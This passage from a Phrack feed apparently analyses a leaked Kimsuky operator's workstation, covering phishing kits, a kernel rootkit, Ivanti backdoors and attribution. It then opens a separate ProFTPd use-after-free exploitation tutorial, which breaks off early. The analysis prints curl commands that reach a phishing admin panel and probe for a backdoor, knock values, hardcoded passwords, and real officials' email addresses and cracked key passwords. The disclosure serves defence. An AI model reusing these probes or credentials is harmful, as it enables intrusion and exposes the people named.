di031111@dcc.mil.kr_ZGkwMzExMTFAZGNjLm1pbC5rcg== didcdba@dcc.mil.kr_ZGlkY2RiYUBkY2MubWlsLmty jhcgod88@dcc.mil.kr_amhjZ29kODhAZGNjLm1pbC5rcg== chanchan0616@dcc.mil.kr_Y2hhbmNoYW4wNjE2QGRjYy5taWwua3I= yib100@dcc.mil.kr_eWliMTAwQGRjYy5taWwua3I= Dsc808@dcc.mil.kr_RHNjODA4QGRjYy5taWwua3I= [...] ............................................................................ The tools used in this attack are discussed under 2.1 (Generator). ----[ 1.2 - Access to South Korea Ministry of foreign Affairs repository A copy of South Korean Ministry of foreign affairs email platform was found inside a file named: mofa.go.kr.7z. The source code was likely taken very recently: ............................................................................ 1923 Apr 1 07:15 .gitignore 96 Apr 1 07:15 .gitmodules 4096 Apr 1 07:15 kebi-batch/ 4096 Apr 1 07:15 kebi-core/ 4096 Apr 1 07:15 kebi-resources/ 4096 Apr 1 07:15 kebi-web-admin/ 4096 Apr 1 07:15 kebi-web-archive/ 4096 Apr 1 07:15 kebi-web-mail/ 4096 Apr 1 07:15 kebi-web-mobile/ 4096 Apr 1 07:16 kebi-web-parent/ 7528 Apr 1 07:16 pom.xml 14099 Apr 1 07:15 README.txt ............................................................................ Given the format of the files, this is probably a dump from a GitHub repository which appears to be parts of an email server. The source code contains multiple references to government domains: ............................................................................ ./kebi-web-parent/mail/document/info.txt /home/ksign/agent http://email.mofa.go.kr:8080/mail/sso?type=login http://mail.mofa.go.kr:8080/mail/sso?type=unseenMails http://email.mofa.go.kr:8190/mail/sso?type=login http://mail.mofa.go.kr:8080/mail/sso?type=unseenMails ............................................................................ ----[ 1.3 - Access to the internal South Korean Gov network It appears that KIM maintains access to internal South Korean Government Network systems. There is a project named onnara_auto, which contains several interesting files. The project appears to be tools to query internal government servers. For instance, a file named: /onnara_auto/log/log-20250511.log has the following entries: ............................................................................ [horedi179] get onnara9.saas.gcloud.go.kr at 11/05/2025 19:41:23 [horedi179] main_job:Session 6112b9bc-5a2a-4abd-a907-aaec4b19e2ed does not \ exist at 11/05/2025 19:41:23 [horedi179] get onnara9.saas.gcloud.go.kr at \ 11/05/2025 19:41:23 [horedi179] get https://onnara9.saas.gcloud.go.kr/ at 11/05/2025 19:45:37 [horedi179] main_job:Session 0c446a8c-e913-467d-a9b9-3f08abfb6f7a does not \ exist at 11/05/2025 19:45:37 [horedi179] get https://onnara9.saas.gcloud.go.kr/SSO.do at 11/05/202... ............................................................................ The corresponding code: ............................................................................ drives = instanceManger(config_hub) client = Client(config_hub) plugins = PluginManager() try: onnara = onnara_sso("horedi79", "", "", "1250000","onnara9") klass = plugins.load(os.path.join(os.getcwd(), "scripts", target_project, "onLaunch.py"), opts={'onnara':onnara,'drives': drives, "client": client}) ............................................................................ The hostname 'onnara9.saas.gcloud.go.kr' is not accessible from the public Internet, however the domain name appears in some documents mentioned as an internal government portal. KIM seems to have access to this network. ----[ 1.4 Miscellaneous - His origin IP was 156.59.13.153 (Singapore). The IP has SSHD running on port 60233 and port 4012 shows a TLS certificate with CN=*.appletls.com. Fofa shows around 1,100 uniq IP addresses with that certificate. Most (>90%) are located in China and HK. These may be some VPN proxy network or Operational Relay Boxes (ORBs). (Similar to "Superjumper" and [#15]) - On the 13th of June 2025, KIM registered webcloud-notice.com. We believe this to be in preparation for a future phishing attack. - There is a cert and private key for rc.kt.co.kr, South Korea Telecom's Remote Control Service. It runs remote support backend from https://www.rsupport.com. Kim may have access to any company that Korea Telecom was providing remote support for. - Lots of passwords in mnt/hgfs/Desktop/111/account/account.txt from "LG Uplus" (LGU), a South Korean mobile operator. The favicon-search indicates that KIM first hacked into SECUREKI, a company supplying MFA and password services to LGU and from there pivoted into LGU's internal network. - APPM_TRANS.txt and 111/config.txt contain credentials to internal servers at LGU. - gpki.7z = government-PKI: contains internal data about the South Korean Government Public Key Infrastructure. See also GPKISecureWebX and 111/2.rar (more below). - ROOT.zip contains the source code for the APPM security solution that was initially hacked by KIM. The file app_one_cmd.py is the decompiled python program for the APPM security solution. - His google search history deserves a closer look. Especially around chacha20 and arc4. The chrome temp files should get some attention. - He seems to download his Dev Tools from [#16] and stole his IDA Pro license from a now disused TOR address [#17]. - The Google Chrome configuration files contain these links. Does KIM use (his?) google creds to access these sites? Is wwh1004 his GitHub account? Did he use google-pay to pay for the three VPN services? ............................................................................ "https://accounts.google.com:443,https://[*.]0x1.gitlab.io": "https://accounts.google.com:443,https://[*.]aldeid.com": "https://accounts.google.com:443,https://[*.]asawicki.info": "https://accounts.google.com:443,https://[*.]devglan.com": "https://accounts.google.com:443,https://[*.]edureka.co": "https://accounts.google.com:443,https://[*.]johnwu.cc": "https://accounts.google.com:443,https://[*.]majorgeeks.com": "https://accounts.google.com:443,https://[*.]maskray.me": "https://accounts.google.com:443,https://[*.]namecheap.com": "https://accounts.google.com:443,https://[*.]qwqdanchun.com": "https://accounts.google.com:443,https://[*.]rakuya.com.tw": "https://accounts.google.com:443,https://[*.]redteaming.top": "https://accounts.google.com:443,https://[*.]reversecoding.net": "https://accounts.google.com:443,https://[*.]shhoya.github.io": "https://accounts.google.com:443,https://[*.]sparktoro.com": "https://accounts.google.com:443,https://[*.]tutorialspoint.com": "https://accounts.google.com:443,https://[*.]wiseindy.com": "https://accounts.google.com:443,https://[*.]wwh1004.com": "https://accounts.google.com:443,https://[*.]wwh1004.github.io": "https://pay.google.com:443,https://[*.]purevpn.com": "https://pay.google.com:443,https://[*.]purevpn.com.tw": "https://pay.google.com:443,https://[*.]zoogvpn.com": ............................................................................ - KIM uses Google-translate to translate error messages to Chinese - A number of Taiwan government and military websites appear in his Chrome history - The certificate of South Korean's citizens require a deeper look and why he has segregated university professors specifically. - The work/home/user/.cache/vmware/drag_and_drop/ folder contains files that KIM was moving between his Windows and Linux machines. These files include cobalt strike loaders and reverse shells written in powershell. A compiled version of Onnara code as well as Onnara modules for proxying into the government network and more. - In the directory work/home/user/.config/google-chrome/Default/ are many interesting files (.com.google.Chrome*) which give us some insights on interests, search habits, and accessed websites by "KIM". From these we can learn that he is often concerned with cobalt strike (CS) survival, wondering why Kunming is in the Center of Central Inspection Team, and is a big fan of a variety of GitHub projects. He also frequents freebuf.com, xaker.ru, and uses Google translator to read accessibility-moda-gov-tw.translate.goog (translating from taiwanese). - The file voS9AyMZ.tar.gz and Black.x64.tar.gz need a closer look. The binary hashes are not known to virustotal but the names look inviting: - 2bcef4444191c7a5943126338f8ba36404214202 payload.bin - e6be345a13641b56da2a935eecfa7bdbe725b44e payload_test.bin - 3e8b9d045dba5d4a49f409f83271487b5e7d076f s.x64.bin - His bash_history shows SSH connections to computers on his local network. - Pete Hegseth would say "He is currently clean on OPSEC" --[ 2. The Artifacts This section analyzes six of Kimsuky's backdoors and artifacts. This work is neither complete nor finished. It is a start to get you excited and learn how Kimsuky operates and what tools they are using. ----[ 2.1 Generator vs Defense Counterintelligence Command Drop Location: vps/var/www/html/ The phishing tool exposes a https website (the phishing-website) under a domain name similar to one that the victim knows and trusts. The victims at dcc.mil.kr are then sent a link to the phishing-website. The attacker then hopes that the victim will enter their login credentials into the phishing-website. The final redirection of the victim is away from the phishing-website and to an URI on the legitimate website. It is an URI that always throws a login-error. This is a targeted attack and the attacker had to find such an URI on the legitimate website of https://dcc.mil.kr. The benefit of this "trick" is that the victim will see an error from https://dcc.mil.kr (which he knows and trusts) even though his credentials were submitted to the phishing-website. -[ config.php: Contains a long IP black list (and other blacklists) so that companies like Trend Micro and Google are unable to find the phishing site. -[ generator.php: This is the remote admin interface to administrate the phishing attack. It is accessible via a configurable password. However, the cookie is hardcoded and the admin-interface can be accessed without a password and by setting the cookie instead: ............................................................................ curl -v --cookie "HnoplYTfPX=x" https://phishing-site/generator.php ............................................................................ It's trivial to scan the Internet and find phishing results: ............................................................................ curl -v --cookie "HnoplYTfPX=x" https://phishing-site/logs.php ............................................................................ ----[ 2.2 Tomcat remote Kernel Backdoor Drop location: mnt/hgfs/Desktop/tomcat20250414_rootkit_linux234/ This is a kernel level remote backdoor. It allows an attacker to access a host remotely and hide. The drop contains the client (tcat.c), the server side LKM (vmwfxs.mod.c) and userland backdoor (master.c). The client communicates with the victim's server via (direct) TCP. The LKM sniffs for any TCP connection that matches a specific TCP-SEQ + IP-ID combination (see below). The LKM communicates via `/proc/acpi/pcicard` with its companion master.c userland backdoor. The master password is `"Miu2jACgXeDsxd"`. The client uses `"!@nf4@#fndskgadnsewngaldfkl"`. The script `tomcat20250414_rootkit_linux2345/config.sh` dynamically creates new secret IDs and strings for every installation and saves them to install.h. The master password is hardcoded and does not change. -[ work/common.c: Compiled into the client and the master. It contains many old private keys. The newer backdoor generates these keys dynamically (see `install_common.c`). -[ lkm - vmwfxs.mod.c: The is the "stub" of the LKM to hook the needed kernel functions. -[ lkm - main.c: Process, network-connection, and file hiding takes place here. -[ lkm - hkcap.c: Creates /proc/acpi/pcicard to communicate with the userland: ............................................................................ echo -n "${DECODEKEY}" > /proc/acpi/pcicard ............................................................................ The kernel module intercepts every new TCP connection and checks if the secret TCP-SEQ and IP-ID is used (on any port!). This check is done in `syn_active_check()`. The TCP window size field is used to set the backdoor-protocol (SYN_KNOCK or SYN_KNOCK_SSL mostly). If this condition is met, it triggers these two steps: 1. Start a userland master.c process (and passes MASTER_TRANS_STRAIGHT_ARGV as parameter to the command line option -m). 2. It redirects the TCP stream to the userland master.c process (and thus stealing it from the intended service). The master.c then serves the bidding of the attacker. -[ master - master.c: The userland companion runs as a hidden process on the victim's server. It handles the SSL handshake and comes with a standard functionality to spawn a root shell or proxy a connection into the internal network. The main routine is in master_main_handle(). -[ client - tcat.c: Contains all the functionality to "knock" a victim's LKM (backdoor) via TCP-SEQ+IP-ID and establish an SSL connection to the master.c process started (by the LKM) on the victim's server. -[ client - kernel.c: It contains the pre-defined and secret TCP-SEQ numbers and IP-IDs. Any combination can be used to "knock" the remote backdoor. These are not dynamically generated and are identical for every installation. -[ client - protocol.c: Contains various stubs and static strings to access the backdoor via SMTP, HTTP, or HTTPS (TLS) protocol. ............................................................................ char smtp_e1[] = "250-example.com\r\n250-STARTTLS\r\n250 SMTPUTF8\r\n"; char smtp_tls1[] = "220 Ready to start TLS\r\n"; char smtp_starttls[] = "starttls\r\n"; char smtp_hello[] = "HELO Alice\r\n"; ............................................................................ ---------------------------------------------------------------------------- It is trivial to detect the LKM locally. Detecting the LKM remotely might be trivial as well but further testing is needed: >>> Password authentication is done _after_ the SSL handshake <<< Thus it should be possible to "knock" the backdoor with a TCP connection (SEQ=920587710 and ID=10213) and port number to a service that normally does not support SSL (like port 80, port 22, or port 25). 1. Establish a TCP connection 2. Send a TLS-CLIENT-HELLO 3. A compromised server will respond with a valid TLS-SERVER-HELLO whereas any other server will not. ----[ 2.3 Private Cobalt Strike Beacon Drop Location: mnt/hgfs/Desktop/111/beacon This is a custom Cobalt Strike C2 Beacon. This source code was being worked on using Intellij IDEA IDE. beacon/.idea/workspace.xml contains pointers to open files and positions in those files as well as the recent project search history. The last updates in the source code were made in June 2024. The config.cpp file contains two cobalt-strike config binary blobs. Those are valid blobs that can be parsed with CobaltStrikeParser script from SentinelOne and contains the following settings: ............................................................................ BeaconType - HTTP Port - 8172 SleepTime - 60842 MaxGetSize - 1048576 Jitter - 0 MaxDNS - Not Found PublicKey_MD5 - c5b6350189a4d960eee8f521b0a3061d C2Server - 192.168.179.112,/dot.gif UserAgent - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENUSSEM) HttpPostUri - /submit.php .. Watermark_Hash - BeudtKgqnlm0Ruvf+VYxuw== Watermark - 126086 ............................................................................ KIM's version also includes early revision of code that in 2025 was included in the LKM backdoor from above (hkcap.c). However, it is incomplete and missing some key files (like config.h) The /bak/ subdirectory contains older version of some of the files. ----[ 2.4 Android Toybox Drop Location: home/user/Downloads/toybox/third_party_toybox KIM is heavily working on ToyBox for Android. It seems to have diverged from ToyBox's official GitHub repository near commit id 896fa846b1ec8cd4895f6320b56942f129e54bc9. We have not investigated what the many ToyBox modifications are for. The community is invited to dissect this further. ----[ 2.5 Ivanti Control aka RootRot-NG Drop Location: mnt/hgfs/Desktop/ivanti_control We present the source code of the client to access the threat actor's backdoor. It is somewhat related to RootRot [#12] and perhaps [#11]. The twist is that the payload is base64-encoded and send directly in the cookie variable (and not in a GET or POST variable). This request will reply with "HIT" if the backdoor is running: ............................................................................ curl -ksi --cookie "DSPSALPREF=cHJpbnRmKCJISVQiKTsK" \ "https://HOST/dana-na/auth/setcookie.cgi" ............................................................................ ----[ 2.6 Bushfire Drop Location: /mnt/hgfs/Desktop/exp1_admin.py (The file is also included in ivanti-new-exp-20241220.zip) This is an Ivanti exploit, possibly for CVE-2025-0282, CVE-2025-0283, or CVE-2025-22457 and the payload installs a backdoor. Mandiant recently discovered the payload in the wild. They attribute the activity to UNC5221, a suspected China-nexus espionage actor [#13]. The exp1_admin.py uses the same iptable commands that Mandiant discovered in the wild. The exploit comes with documentation, which, when translated, reads: >>> "contact us if the exploit fails" <<< It may be an indication that there is code sharing and support happening between these two state actors. The payload also allows remote access to a compromised system. The interesting part is at line 2219, where the keys/magics are generated: * The key has 206^4 different combinations only (<31 bit strength). * The magic has (26*2 + 10)^3 different combinations (<18 bit strength). The encryption happens at line 85, and is....XOR, using a 31 bit key :> Line 335, function `detect_door()` can be used to remotely scan for the backdoor. Notable is that only the magic (but not the key) is used to "knock" the backdoor. The magic is transmitted in the first 24 bits of the Client-Random in the TLS Client-Hello message. The chances that an ordinary Client-Random has the first 24-bit of this constellation are about 1 in 70. Meme Alert! There is a "All-your-bases-are-belong-to-us" in the code: >>>> "The target doesn't exist backdoor!" <<< ----[ 2.7 Spawn Chimera and The Hankyoreh Drop Location: mnt/hgfs/Desktop/New folder/203.234.192.200_client.zip The client accesses the SpawnChimera backdoor via port knocking. The IP 203.234.192.200 belongs to https://hani.co.kr (The Hankyoreh), a liberal newspaper from South Korea. The client.py at line 152 shows the port knocking method: It hides again inside the TLS-Client-Hello, in the 32 byte ClientRandom field, but with a new twist: The first 4 bytes must be the correct crc32 of the remaining 28 bytes. ............................................................................ random = os.urandom(28) client_hello[15:43] = random jamcrc = int("0b"+"1"*32, 2) - zlib.crc32(random) client_hello[11:15] = struct.pack('!I', jamcrc) ............................................................................ We invite the community to investigate further. --[ 3. Identifying Kimsuky The conclusion that the threat actor belongs to Kimsuky was made after a series of artifacts and hints were found, that when analysed revealed a pattern and signature that was too exact of a match to belong to anyone else. Among these hints is the system's "locale"-setting set to Korean, along with several configuration files for domain names that were previously tied to Kimsuky's infrastructure and attacks. There are similarities between the dumped code and the code from their previous campaigns. Another recurring detail was the threat actor's strict office hours, always connecting at around 09:00 and disconnecting by 17:00 Pyongyang time. ----[ 3.1 - Operation Covert Stalker Operation Covert Stalker[#1] is the name given by AhnLab to a months-long spear-phishing campaign conducted by North Korea against individuals (journalists, researchers, politicians...) and organizations in South Korea. The web server configuration for a domain associated with this attack was found on the threat actor's system. ............................................................................ SSLCertificateFile /etc/letsencrypt/live/nid-security.com/cert.pem ............................................................................ Drop location: work/mnt/hgfs/Desktop/New folder/vps1/sites-available/default-ssl.conf The domain nid.nid-security.com[#2] resolved to 27.255.80.170 on 2024-11-05[#3] which also corresponded to another file containing comments to explain how to obtain a certificate for that domain. Drop location:  work/mnt/hgfs/Desktop/New folder/readme.txt ----[ 3.2 - GPKI Stolen Certificates In early 2024, a new malware written in Go and labelled Troll Stealer was discovered by S2W[#4]. This malware has the ability to steal GPKI (Government Public Key Infrastructure) certificates and keys that are stored on infected devices. GPKI is a way for employees of the South Korean government to sign documents and to prove their authenticity. The threat actor had thousands of these files on his workstation. ............................................................................ subject=C=KR, O=Government of Korea, OU=Ministry of Unification, OU=people, CN=Lee Min-kyung issuer=C=KR, O=Government of Korea, OU=GPKI, CN=CA131100001 ............................................................................ Drop location: work/home/user/Desktop/desktop/uni_certs && work/home/user/Downloads/cert/ The threat actor developed a Java program to crack the passwords protecting the keys and certificates. ............................................................................ 136박정욱001_env.key Password $cys13640229 041▒Φ├ó┐╡001_env.key Password !jinhee1650! 041▒Φ├ó┐╡001_sig.key Password ssa9514515!! [...] ............................................................................ Drop location: work/home/user/Downloads/cert/src/cert.java ----[ 3.3 Similar Targets Our threat actor has attacked the same targets that were previously attributed to attacks by Kimsuky. -[ Naver Naver Corporation is a South Korean conglomerate offering a wide range of services. A search engine (the most used in the country), Naver Pay (mobile payment service), Naver Maps (similar to Google Maps), email services, and so on. Naver has a history of being targeted by North Korea. In 2024, Zscaler discovered a new Google Chrome extension called TRANSLATEXT developed by Kimsuky[#8]. This extension can inject arbitrary JS scripts when visiting specific pages. Upon visiting `nid.naver.com` - the Naver login page - the extension injects `auth.js` into the browser to steal the login credentials. The phishing attack described in section 2.1 uses the domain `nid.navermails.com` as its main URL. This domain has been found to be associated with Kimsuky by Ahnlab[#9]. -[ Ministry of Unification A regular target of Kimsuky is the South Korean Ministry of Unification. The attacker used the cracked passwords from the GPKI and crafted a custom worldlist for brute forcing. The log files show that these passwords were tried against the ministry's domain. ............................................................................ unikorea123$ unikorea1!! unikorea100 unikorea625! [...] ............................................................................ Drop location: work/home/user/Downloads/cert/dict/pass.txt ----[ 3.4 Hypothesis on AiTM attack against Microsoft users In the middle of 2022, an AiTM attack was detected and reported by Microsoft[#5] and Zscaler[#6]. The principal of the attack is the use of a web server that acts as a proxy between the legitimate login page and the victim. The victims were sent an email, inviting them to click on a HTML attachment. When opened, they would be redirected to the proxy via HTTPS. The proxy would then forward any request to the Microsoft server (re-encrypt the data via HTTPS). Once logged in, the proxy would record the session cookie and redirect the victim to the Microsoft server. The stolen cookie is valid and can be used by the attacker without any further MFA. The domain used for this campaign was websecuritynotice.com [#7]. While this exact domain was not found on this threat actor's system, a very similar one was used (notice the additional 's'): ............................................................................ subject=CN=*.websecuritynotices.com ............................................................................ Drop location: vps/etc/letsencrypt/live/websecuritynotices.com   The Tactics, Techniques, and Procedures (TTPs), the similarity of domain names, and post-exploitation activities (payment fraud, ...) show a strong link to Kimsuky. ----[ 3.5 Is KIM Chinese? KIM uses Google to translates Korean into simplified Chinese. He does seem to understand some (very little) Korean without translating. KIM follows the Chinese public holiday schedule: May 31st - June 2nd was the Dragon Boat Festival. KIM was not working during this time whereas in North Korea this would have been a normal working day. However, using https://github.com/obsidianforensics/hindsight, his Chrome settings reveal that KIM is on "Korean Standard Time". We cautiously believe that KIM is chinese but fulfills the agenda of North Korea (hacking mostly South Korea) and China (hacking Taiwain) alike. ----[ 3.6 Fun facts and laughables In September 2023, "KIM" attempted to purchase the domain name 'nextforum-online.com' at namecheap.com. The payments could be made using Bitcoin, what could go wrong? A few days later, namecheap.com disabled the domain without given an explanation. When "KIM" asked to have it unblocked, namecheap.com requested the following: ............................................................................ In order to verify the legitimacy of the registered domain(s), please provide us with the following information: * The purpose of the registration of the domain<br> * The documentation confirming the authorization to act on behalf of Microsoft or a confirmation that the domain(s) in question is not associated with it. ............................................................................ => LOL, afterall, the namecheap.com is not so bulletproof :) ---------------------------------------------------------------------------- Another fun-fact: In 2020, when websecuritynotice.com was used in a phishing campaign, the owner created several subdomains of realistic URLs for the phishing attacks: ............................................................................ login.websecuritynotice.com. IN A 80.240.25.169 wwwoffice.websecuritynotice.com. IN A 80.240.25.169 www-microsoft.websecuritynotice.com. IN A 80.240.25.169 prod-msocdn-25ae5ec6.websecuritynotice.com. IN A 80.240.25.169 prod-msocdn-55e5273a.websecuritynotice.com. IN A 80.240.25.169 prod-msocdn-84311529.websecuritynotice.com. IN A 80.240.25.169 prod-msocdn-c7b8a444.websecuritynotice.com. IN A 80.240.25.169 aadcdn-msauth-84311529.websecuritynotice.com. IN A 80.240.25.169 sts-glb-nokia-346189f1.websecuritynotice.com. IN A 80.240.25.169 res-cdn-office-84311529.websecuritynotice.com. IN A 80.240.25.169 aadcdn-msftauth-25ae5ec6.websecuritynotice.com. IN A 80.240.25.169 aadcdn-msftauth-55e5273a.websecuritynotice.com. IN A 80.240.25.169 aadcdn-msftauth-84311529.websecuritynotice.com. IN A 80.240.25.169 r4-res-office365-55e5273a.websecuritynotice.com. IN A 80.240.25.169 r4-res-office365-84311529.websecuritynotice.com. IN A 80.240.25.169 ............................................................................ However, in 2025, "KIM" was sloppy and used the main domain only: http://www.websecuritynotices.com/request.php?i=amhraW0xQGtsaWQub3Iua3I= (The "i" parameter is the base64 encoded email of the recipient. In this case 'jhkim1@klid.or.kr'.) In January 2025, this domain pointed to the IP 104.167.16.97. In March 2025, the domain download.sponetcloud.com resolved to the same IP. There is its sibling on virustotal: sharing.sponetcloud.com The following URLs are associated with this domain: https://sharing.sponetcloud.com/logo.png?v=bG1lMjc2MUBzcG8uZ28ua3I= https://sharing.sponetcloud.com/bigfile/v1/urls/view?\ shareto=aGFudGFlaHdhbkBzcG8uZ28ua3I= The parameters are again base64 encoded, are decode to 'lme2761@spo.go.kr' and 'hantaehwan@spo.go.kr'. Both targets in the South Korean Government Prosecution Office. The same email addresses (and many more) show up on "KIM's" VPS in the file request_log.txt: hantaehwan@spo.go.kr paragon74@spo.go.kr baekdu475@spo.go.kr [...] ---------------------------------------------------------------------------- Or is this a false-flag threat actor? "KIM" may have deliberately pointed some of his domains to IP addresses that were previously known to be associated with Kimsuky. For example, nid-security.com has the following DNS hosting history: ............................................................................ nid-security.com. IN A 27.255.80.170 (observation date: 2024-11-05) nid-security.com. IN A 45.133.194.126 (observation date: <= 2025-05-09) nid-security.com. IN A 185.56.91.21 nid-security.com. IN A 192.64.119.241 *.nid-security.com. IN A 45.133.194.126 lcs.nid-security.com. IN A 27.255.80.170 lcs.nid-security.com. IN A 45.133.194.126 nid.nid-security.com. IN A 27.255.80.170 nid.nid-security.com. IN A 45.133.194.126 www.nid-security.com. IN A 45.133.194.126 rcaptcha.nid-security.com. IN A 27.255.80.170 rcaptcha.nid-security.com. IN A 45.133.194.126 zwkd3e3wbc.nid-security.com. IN A 45.133.194.126 ............................................................................ The phishing log on the VPS, dated 2 December 2024, shows this domain: https://nid.nid-security.com/bigfileupload/download?\ h=UJw39mzt3bLZOESuajYK1h-G1UlFavI1vmLUbNvCrX80-\ AtVgL7TIsphr1hlrvKOdOR-dbnMHVV7NJ4N During this month, the domain resolved to 45.133.194.126. Was 27.255.80.170 a red herring? ---------------------------------------------------------------------------- Last fun-fact. When registering the websecuritynotices.com domain name the "Kimsuky" member had his email address visible in SOA records. lol websecuritynotices.com IN SOA ns4.1domainregistry.com dysoni91.tutamail.com --[ References [#1] https://image.ahnlab.com/atip/content/atcp/2023/10/20231101_Kimsuky_OP.-Covert-Stalker.pdf [#2] https://raw.githubusercontent.com/stamparm/maltrail/refs/heads/master/trails/static/malware/apt_kimsuky.txt [#3] https://www.virustotal.com/gui/ip-address/27.255.80.170/relations [#4] https://medium.com/s2wblog/kimsuky-disguised-as-a-korean-company-signed-with-a-valid-certificate-to-distribute-troll-stealer-cfa5d54314e2 [#5] https://www.microsoft.com/en-us/security/blog/2022/07/12/from-cookie-theft-to-bec-attackers-use-aitm-phishing-sites-as-entry-point-to-further-financial-fraud/ [#6] https://www.zscaler.com/blogs/security-research/large-scale-aitm-attack-targeting-enterprise-users-microsoft-email-services [#7] https://raw.githubusercontent.com/BRANDEFENSE/IoC/refs/heads/main/AiTM%20Phishing%20Campaign%20IoC's.txt [#8] https://www.zscaler.com/blogs/security-research/kimsuky-deploys-translatext-target-south-korean-academia [#9] https://www.ahnlab.com/ko/contents/content-center/32030 [#10] https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day?hl=en [#11] https://www.synacktiv.com/sites/default/files/2024-01/synacktiv-pulseconnectsecure-multiple-vulnerabilities.pdf [#12] https://cloud.google.com/blog/topics/threat-intelligence/ivanti-post-exploitation-lateral-movement?hl=en [#13] https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-exploiting-critical-ivanti-vulnerability [#14] https://home.treasury.gov/news/press-releases/jy1938 [#15] https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks [#16] https://bafybeih65no5dklpqfe346wyeiak6wzemv5d7z2ya7nssdgwdz4xrmdu6i.ipfs.dweb.link/ [#17] http://fckilfkscwusoopguhi7i6yg3l6tknaz7lrumvlhg5mvtxzxbbxlimid.onion/ ]]> https://phrack.org/issues/72/a-learning-approach-on-exploiting-cve-2020-9273.html Tue, 19 Aug 2025 00:00:00 +0000 dukpt Phrack #72 phrack-72-8 |=-----------------------------------------------------------------------=| |=---------=[ A learning approach on exploiting CVE-2020-9273 ]=---------=| |=------------------=[ an use-after-free in ProFTPd ]=------------------=| |=----------------------------=[ by dukpt ]=----------------------------=| |=-----------------------------------------------------------------------=| --[ Table of contents 0 - First words 1 - Introduction 2 - Previous work on ProFTPd 3 - Context and limitations 3.1 - Notes on ProFTPd compilation 4 - Analysis of ProFTPd internals 5 - Vulnerability analysis 5.1 - Exploitation details 5.2 - Defining exploitation strategy 5.3 - Execution and offsets control 5.4 - Leaking memory layout 5.5 - Final RIP control methodology 6 - Other exploitation strategies 6.1 - Kill the Gibson: causing a DoS 6.2 - Using the stack 6.3 - Leaking /etc/shadow 6.4 - Other leaks 7 - Ideas for future work 8 - Notes on ProFTPd architecture 8.1 - fork() consequences 8.2 - getspnam() underlying issues 9 - Conclusion 10 - References 11 - Exploit source code --[ 0 - First words This article was originally written four years ago. Well, about 80% of it. I never got around to finishing it, so it remained unpublished. When I quit my job and started something new, I finally found the motivation (or time) to complete it. I hope this time of waiting hasn't dimmed your interest in this article, and that you'll still discover something intriguing to contribute to your hacking skills. --[ 1 - Introduction ProFTPd is a highly configurable FTP daemon for Unix-like operating systems. For a long time, it has been the primary choice for FTP servers around the world, and it is still widely used across many systems. Currently, there is no support for native execution under Microsoft Windows [1]. In this paper, we're going to discuss a vulnerability in the way ProFTPd handles memory allocation for the response to the current command being processed during a data transfer. As we'll see, exploiting this vulnerability requires certain conditions that may not be commonly found in production FTP servers, although triggering it is relatively simple. Credits to Antonio Morales from GitHub Security Lab for discovering both vulnerabilities: the use-after-free on the heap (CVE-2020-9273) [2], and the out-of-bounds read in mod_cap.c (CVE-2020-9272) [3]. The reader is also encouraged to check ProFTPd issue #903 [4] for more details. In this article, I'll be focusing only on the use-after-free bug, and I'll avoid the out-of-bounds read during the exploitation phases. It's also important to mention that this article follows a learning-oriented approach. I'll try to be as didactic as possible so that readers can reproduce the steps on their own. This approach might also be interesting for people who want to get more familiar with gdb. We'll be using the GEF (GDB Enhanced Features) framework, but I won't be exploring many of GEF's great features - maybe in a future article :) --[ 2 - Previous work on ProFTPd Before going any further, it's important to mention that there's plenty of work on ProFTPd already. Here I enumerate some of the most interesting: 1) CVE-2003-0831 - heap buffer overflow [5]; 2) CVE-2010-4221 - stack-based buffer overflows [6]; 3) CVE-2010-4652 - heap buffer overflow [7]; I'd recommend the reader take some time reading FelineMenace's paper on Phrack issue 67 [8] on exploiting a heap overflow on mod_sql of ProFTPd. Coincidentally, we use the same exploitation approach by abusing cleanup structure (it's probably the best option because we control the parameters and the function called, so it's perfect for stack pivoting); 4) CVE-2011-4130 - an use-after-free memory corruption [9]; 5) CVE-2015-3306 - this infamous vulnerability allows unauthenticated users to abuse mod_copy by sending SITE CPFR / CPTO commands [10]. It also popped on reddit [11]; 6) CVE-2020-9273 - this use-after-free in the heap. Of course there are more, but these are the ones with more impact IMHO. --[ 3 - Context and limitations In this chapter we're going to see the conditions to exploit this vulnerability and understand some details about ProFTPd. Finally, we'll analyze how to trigger this bug and draft an exploitation path. This is a post-auth vulnerability, which means that the attacker must have a valid account on the system to exploit it. It is triggered in a very specific situation: when an FTP control connection is closed while there is an FTP data transfer taking place on another TCP port. This data transfer could be a directory listing, a file download, an upload, or anything else that depends on an active FTP data connection. However, since we want to have great control over the payload, the only option I could see was using the FTP upload functionality. This brings us more limitations, since we need write permissions on a directory in the remote server to issue the FTP STOR or STOU commands. Maybe if you find a file with write permissions, you could try using the APPE command to append data to it, but then you'd need to calculate the offset to your shellcode and RET into it after the initial ROP phase. We'll get into this later. Another problem is that chroot should not be enabled on the target, otherwise we won't be able to download the /proc/self/maps file required to understand the server's memory layout. We'll see more on this in chapter 4. Initially this would not be necessary, but since the target might have ASLR and NX enabled, it becomes mandatory to exploit it successfully. I created another version of this exploit that does not depend on mod_copy or maps download, but the downside is that it needs to brute-force the memory addresses and offsets, which is a bad idea because an IPS could block you. The compiler flags play an important role here too. Using gcc, adding flags like -O1 or -O2 completely change the memory layout. When I compiled with clang, I noticed that some variables migrated from the heap to another unnamed area. Some default gcc compilation parameters may vary from OS to OS. It also depends on the kernel, because ASLR has a huge impact here. Summarizing: - you must have an account on the FTP target server; - the account must have write permissions to a directory; - the kernel and processor protections plays a huge impact on the memory layout of your target (ASLR, NX, etc.); - the compiler flags and compilation options can also impact the memory layout; - mod_copy must have been enabled (not mandatory for old systems without ASLR and NX bit). These limitations probably makes the vulnerability less attractive to some people. If you have a valid account you could SSH into the server, why bother exploiting a FTP service? Well, I might have some reasons for you to give a try: - your target has no SSH service running (duh); - your company uses a vulnerable version of ProFTPd and you want to prove your point on upgrading it; - This bug turned out to be hard to exploit, so it's a good opportunity for learning; - grab root or other users cryptogram password for cracking - this is something interesting I noticed in memory due to how libc getspnam() function works, let's see on chapter 6. All the research related to this exploit was done based on Ubuntu 20.04.2 and libc 2.31.1. This is important for the offsets that we'll be using. However, some months before I finished this article, I updated my machine to the PopOS distro. Later on, I went back to Ubuntu 22.04.1, so the offsets of the final exploit and also the ROP functions will be different (I took too long to finish and publish this article, excuse me for that). ----[ 3.1 - Notes on ProFTPd compilation During my analysis I noticed that the vulnerability can also be 